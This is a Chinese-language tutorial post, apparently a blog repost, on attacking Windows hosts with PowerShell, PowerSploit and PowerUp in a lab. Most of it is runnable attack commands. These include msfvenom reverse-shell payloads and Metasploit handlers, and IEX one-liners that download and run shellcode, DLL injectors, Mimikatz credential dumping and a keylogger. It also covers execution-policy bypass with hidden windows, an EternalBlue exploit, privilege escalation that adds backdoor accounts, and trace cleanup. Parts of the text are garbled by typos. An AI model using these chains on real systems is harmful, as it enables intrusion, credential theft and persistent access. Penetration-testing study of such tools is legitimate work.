Powershell攻击指南1——PowerSploit
目錄
?
1.1PowerShell技術(shù)
1.2PowerShell基本概念
1.3PowerShell常用命令
2.PowerSploit
3.PowerSploit腳本攻擊
Invode-shellcode
Invoke-Dlllnjection
Invoke-Portscan
Invoke-Mimikatz
Get-Keystrokes
4.PowerUp攻擊模塊
5.PowerUp攻擊模塊實(shí)戰(zhàn)
實(shí)戰(zhàn)1
實(shí)戰(zhàn)2
1.1PowerShell技術(shù)
靈活且能功能化管理Windows系統(tǒng),一旦攻擊者可以在計(jì)算機(jī)上執(zhí)行代碼,就可下載powershell腳本(.ps1)到磁盤(pán)中執(zhí)行,甚至可以直接在內(nèi)存中執(zhí)行。
常用的powershell攻擊工具:
- PowerSploit: 這是眾多owehShe攻擊工具中被廣泛使用的PoweShel后期漏洞利用框架,常用于信息探測(cè)、特權(quán)提升、憑證竊取、持久化等操作。
- Nishang:基于PowerShell的滲透測(cè)試專(zhuān)用工具,集成了框架、腳本和各種Payload,包含下載和執(zhí)行、鍵盤(pán)記錄、DNS、 延時(shí)命令等腳本。
- Empire:基于PowerShel的遠(yuǎn)程控制木馬,可以從憑證數(shù)據(jù)庫(kù)中導(dǎo)出和跟蹤憑證信息,常用于提供前期漏洞利用的集成模塊、信息探測(cè)、憑據(jù)竊取、持久化控制。
- PowerCat: PowerShell版的NetCat,有著網(wǎng)絡(luò)工具中的“瑞士軍刀”美譽(yù),它能通過(guò)CP和UDP在網(wǎng)絡(luò)中讀寫(xiě)數(shù)據(jù)。通過(guò)與其他工具結(jié)合和重定問(wèn),可以在腳本中以多種方式使用它。
PowerShell有以下這幾個(gè)優(yōu)點(diǎn)。
- Windows7以上的操作系統(tǒng)默認(rèn)安裝
- PowerShell腳本可以運(yùn)行在內(nèi)存中,不需要寫(xiě)入磁盤(pán)。
- 可以從另一個(gè)系統(tǒng)中下載PowerShell腳本并執(zhí)行。
- 目前很多工具都是基于PowerShell開(kāi)發(fā)的。
- 很多安全軟件并不能檢測(cè)到PowerShell的活動(dòng)。
- cmd.exe通常會(huì)被阻止運(yùn)行,但是PowerShell不會(huì) 。
- 可以用來(lái)管理活動(dòng)目錄。
查看PowerShell版本
Get-Host $PSVersionTable.PSVERSION?
1.2PowerShell基本概念
1. PS1文件
Rowusel 本其實(shí)就是一個(gè)簡(jiǎn)單的文本文件,這個(gè)文件包含了一系列PowerShell命令,每個(gè)命令顯示為獨(dú)立的一行,對(duì)于被視為Powerhe腳本的文本文件,它的文件名需要加上.PS1的擴(kuò)展名。
2.執(zhí)行策略
為防止惡意腳本的執(zhí)行,PowerShell有 一個(gè)執(zhí)行策略,默認(rèn)情況下,這個(gè)執(zhí)行策略被設(shè)為受限。在PowerShel1腳本無(wú)法執(zhí)行時(shí),可以使用下面的cmdlet命令確定當(dāng)前的執(zhí)行策略。
?
3.運(yùn)行腳本
.\test.ps1 #運(yùn)行當(dāng)前目錄下的powershell4.管道
get-process p* | stop-process?
1.3PowerShell常用命令
1.基本命令
新建目錄: New-ltem whitecellclub-ltemType Directory。 新建文件: New-ltem light.txt-ltemType File。 刪除目錄: Remove-ltem whitecellclub. 顯示文本內(nèi)容: Get-Content test.txt。 設(shè)置文本內(nèi)容: Set-Content test.txt Value "ell,word!"。 追加內(nèi)容: Add-Content light.txt-Value "i love you"。 清除內(nèi)容: Clear-Content test.txt。2.常用命令
如果要運(yùn)行PowerShe腳本程序,必須用管理員權(quán)限將Restricted策略改成Unrestricted,所以在滲透時(shí),就需要采用一些力法繞過(guò)策略來(lái)執(zhí)行腳本,比如下面的三種
繞過(guò)本地權(quán)限執(zhí)行 上傳txxp1至目標(biāo)服務(wù)器,在CMD環(huán)境下,在目標(biāo)服務(wù)各本地執(zhí)行該腳本,如下所示。 PowerShell.exe -ExecutionPolicy Bypass -File xx.ps1本地隱藏繞過(guò)權(quán)限執(zhí)行腳本 PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfif -File xx.ps1用IEX下載遠(yuǎn)程PS1腳本繞過(guò)權(quán)限執(zhí)行 PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIEX(New-ObjectNet .WebClient).DownloadString(("xxx.ps1");[Parameters]Exctiolioc Byass繞過(guò)執(zhí)行安全策略,這個(gè)參數(shù)非常重要,在默認(rèn)情況下,PwerShel的安全策略規(guī)定PowerSheel不允許運(yùn)行命令和文件。通過(guò)設(shè)置這個(gè)參數(shù),可以繞過(guò)任意一個(gè)安全保護(hù)規(guī)則。在滲透測(cè)試中,基本每一次運(yùn)行PowerShell腳本時(shí)都要使用這個(gè)參數(shù)。 WindowStyle Hidden:隱藏窗口。 NoLogo:啟動(dòng)不顯示版權(quán)標(biāo)志的PowerShell。 NonInteractive (-NonI) :非交互模式,PowerShell不為用戶(hù)提供交互 NoProfile(-NoP) : PowerShell控制 臺(tái)不加載當(dāng)前用戶(hù)的配置文件。 Noexit:執(zhí)行后不退出Shell。這在使用鍵盤(pán)記錄等腳本時(shí)非常重要。?
2.PowerSploit
開(kāi)啟apache,并將文件復(fù)制到html目錄下
service apache2 start cp -r powersploit/ /var/www/html/PowerSploit模塊介紹
- AntivirusBupass:發(fā)現(xiàn)殺毒軟件的查殺特征
- CodeExecution:在目標(biāo)主機(jī)上執(zhí)行代碼
- Exfiltration:目標(biāo)主機(jī)上的信息搜集工具。
- Mayhem:藍(lán)屏等破壞性腳本。
- Persistence:后門(mén)腳本(持久性控制)。
- Recon:以目標(biāo)主機(jī)為跳板進(jìn)行內(nèi)網(wǎng)信息偵查。
- ScriptModifcation:在目標(biāo)主機(jī)上創(chuàng)建或修改腳本。
?
3.PowerSploit腳本攻擊
?
Invode-shellcode
msf監(jiān)聽(tīng)和生成powershell木馬
use exploit/multi/handler set payload windows/meterpreter/reverse_https set LHOST 192.168.0.109 set LPORT 8888 run?
msfvenom -p /windows/meterpreter/reverse_https LHOST=192.168.0.109 LPORT=8888 -f powershell -o /var/www/html/test?
1.直接執(zhí)行ShellCode反彈shell
win7下載木馬并執(zhí)行
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-Shellcode.ps1") #下載腳本IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test") #下載木馬Invoke-Shellcode -Shellcode ($buf) -Force #執(zhí)行命令?
2.指定進(jìn)程注入反彈shell
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-Shellcode.ps1") IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test")get-process Start-Process C:\Windows\System32\notepad.exe -WindowStyle Hidden #開(kāi)啟一個(gè)無(wú)回顯的進(jìn)程 Invoke-Shellcode -ProcessID 5032 -Shellcode($buf) -Force #進(jìn)程注入?
Invoke-Dlllnjection
使用Code Execution模塊下的另一個(gè)腳本Invoke-DLLInjection,這是一個(gè)DLL注入的腳本
?
1.使用msfvenom生成dll后門(mén),并開(kāi)啟監(jiān)聽(tīng)同上
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=8888 -f dll -o /var/www/html/test.dll2.下載腳本和木馬
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-DllInjection.ps1") IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test.dll")Start-Process C:\Windows\System32\notepad.exe -WindowStyle Hidden Invoke-DllInjection -ProcessID 2000 -Dll c:\test.dll?
Invoke-Portscan
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Recon/Invoke-Portscan.ps1") Invoke-Portscan -Hosts 192.168.0.104,192.168.0.109 -Ports "80,445,22,139,3389"?
Invoke-Mimikatz
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Exfiltration/Invoke-Mimikatz.ps1") Invoke-Mimikatz -DumpCreds?
Get-Keystrokes
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Exfiltration/Get-Keystrokes.ps1") Get-Keystrokes -LogPath c:\test.txt?
4.PowerUp攻擊模塊
Set-ExecutionPolicy Unrestricted #本地演示此模塊,powershell設(shè)置成執(zhí)行任意腳本模式Import-Module .\PowerUp.ps1 Get-Help invoke-allchecks -full1.Invoke-AllChecks
Invoke-AllChecks
2.Find-PathHijack
3.Get-ApplicationHost——利用系統(tǒng)上config文件恢復(fù)加密過(guò)的應(yīng)用池和虛擬目錄密碼
4.Get-RegAlwaysInstallElevated?? 檢查注冊(cè)表項(xiàng)是否被設(shè)置
5.Get-RegAutoLogon——檢測(cè)winlgoin注冊(cè)表有沒(méi)有被設(shè)置,可查詢(xún)默認(rèn)用戶(hù)名和密碼
6.?Get-ServiceDetail——返回某服務(wù)的信息
PS C:\> Get-ServiceDetail位于命令管道位置 1 的 cmdlet Get-ServiceDetail 請(qǐng)為以下參數(shù)提供值: ServiceName: dhcpName : Dhcp Status : OK ExitCode : 0 DesktopInteract : False ErrorControl : Normal PathName : C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted7.Get-ServiceFilePermission
?
8.Test-ServiceDaclPermission檢查所有可用的服務(wù),并嘗試對(duì)這些打開(kāi)的服務(wù)進(jìn)行修改
?
9.Get-ServiceUnquoted檢查空格路徑的漏洞
?
10.Get-UnattendedInstallFile檢查部署憑據(jù)
?
11.Get-ModifiableRegistryAutoRun檢查開(kāi)機(jī)自啟的應(yīng)用程序路徑和注冊(cè)表鍵值
?
12.Get-ModifiableScheduledTaskFile返回用戶(hù)可修改的計(jì)劃任務(wù)名稱(chēng)和路徑
?
13.Get-Webconfig——檢查web.config數(shù)據(jù)庫(kù)
?
14.Invoke-ServiceAbuse——修改服務(wù)來(lái)添加用戶(hù)到指定組,并通過(guò)設(shè)置cmd參數(shù)觸發(fā)添加用戶(hù)的自定義命令
Invoke-ServiceAbuse -ServiceName VulnSVC -Username "TESTLAB\johb" #指定添加的域賬號(hào)15.Restart-ServiceBinary——恢復(fù)服務(wù)的可執(zhí)行文件到原始目錄
?
16.Test-ServiceDaclPermission——檢查某個(gè)用戶(hù)是否在服務(wù)中有自由訪(fǎng)問(wèn)控制的權(quán)限
Test-ServiceDaclPermission -ServiceName VulnSVC17.Write-HijackDll輸出一個(gè)自定義命令并能夠自我刪除的bat文件到$env:Temp\debug.bat,并輸出一個(gè)能夠啟動(dòng)這個(gè)bat文件的DLL
?
18.Write-UserAddMSI
19.?Write-ServiceBinary——用于預(yù)編譯的C#服務(wù)的可執(zhí)行文件
Write-ServiceBinary -ServiceName VulnSVC #添加默認(rèn)賬號(hào) Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" #添加域賬號(hào) Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! #指定添加用戶(hù),用戶(hù)密碼以及添加的用戶(hù)組 Write-ServiceBinary -ServiceName VulnSVC -Command "net......" #自定義執(zhí)行命令20.Install-ServiceBinary——寫(xiě)一個(gè)C#的服務(wù)用來(lái)添加用戶(hù)
Install-ServiceBinary -ServiceName DHCP?
5.PowerUp攻擊模塊實(shí)戰(zhàn)
實(shí)戰(zhàn)1
使用了Invoke-AllChecks,Install-ServiceBinary,Get-ServiceUnquoted,Test-ServiceDaclPermission,Restart-ServiceBinary
1.使用msf攻擊win7反彈shell
search ms17_010 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.0.104 set payload windows/x64/meterpreter/reverse_tcp show options exploit2.上傳PowerUp腳本,然后執(zhí)行
getuid upload /var/www/html/powersploit/Privesc/PowerUp.ps1 c:\
使用IEX在內(nèi)存中加載此腳本
powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Invoke-AllChecks"
也可以在cmd環(huán)境下使用命令繞過(guò)執(zhí)行該腳本
powershell.exe -exec bypass -Command "& {Import-Moudle .\PowerUp.ps1; Invoke-AllChecks}"3.檢查漏洞是否可以提權(quán),書(shū)中查看的是Checking for unquoted service path模塊,此虛擬機(jī)沒(méi)有檢測(cè)出此漏洞
4.使用icacls檢測(cè)有漏洞的目錄是否具有寫(xiě)入權(quán)限,驗(yàn)證powerup腳本檢測(cè)是否正確
icacls "C:\PROGRA~2\SOGOUP~1\970~1.369\SGTool.exe"
5.使用AbuserFunction給出的具體操作方式,執(zhí)行命令
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString("c:/PowerUp.ps1'); Install-ServiceBinary -ServiceName 'SGTool' -Username new -Password 1234powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString("c:/PowerUp.ps1'); Install-ServiceBinary -ServiceName 'SGTool' -Username new -Password 12346.添加用戶(hù)
當(dāng)管理員運(yùn)行 net start SGTool時(shí),會(huì)添加我們的賬號(hào)低權(quán)限開(kāi)啟服務(wù)需要重啟系統(tǒng) shutdown -r -f -t 0net user #查看用戶(hù) net localgroup administrators7.清除痕跡
powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Restore-ServiceBinary -ServiceName 'SGTool'執(zhí)行命令后可以把所有的狀態(tài)恢復(fù)到最初的狀態(tài)?
實(shí)戰(zhàn)2
使用Get-RegAlwaysInstallElevated,Write-UserAddMSI模塊
1.前提:win+r打開(kāi)gpedit.msc,需要把組策略中的計(jì)算機(jī)配置和用戶(hù)配置中Windows組件中的Windows Installer->永遠(yuǎn)以最高權(quán)限進(jìn)行安裝啟用
?
2.可以使用PowerUp的Get-RegistryAlwaysInstallElevated模塊來(lái)檢查注冊(cè)表項(xiàng)是否被設(shè)置,如果AlwaysInstallElevated注冊(cè)表項(xiàng)被設(shè)置,意味著MSI文件是以SYSTEM權(quán)限運(yùn)行的。執(zhí)行該模板的命令如下,True表示已經(jīng)設(shè)置
powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Get-RegAlwaysInstallElevated"3.添加新用戶(hù)Write-UserAddMSI
powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Write-UserAddMSI"
4.普通用戶(hù)權(quán)限運(yùn)行UserAdd.msi
msiexec /q /i Useradd.msi5.查看用戶(hù)
?
?
?
?
?
?
?
?
?
?
?
?
?
總結(jié)
以上是生活随笔為你收集整理的Powershell攻击指南1——PowerSploit的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 教你迅速俘虏美女!
- 下一篇: 智慧养老解决方案:ZigBee技术在智慧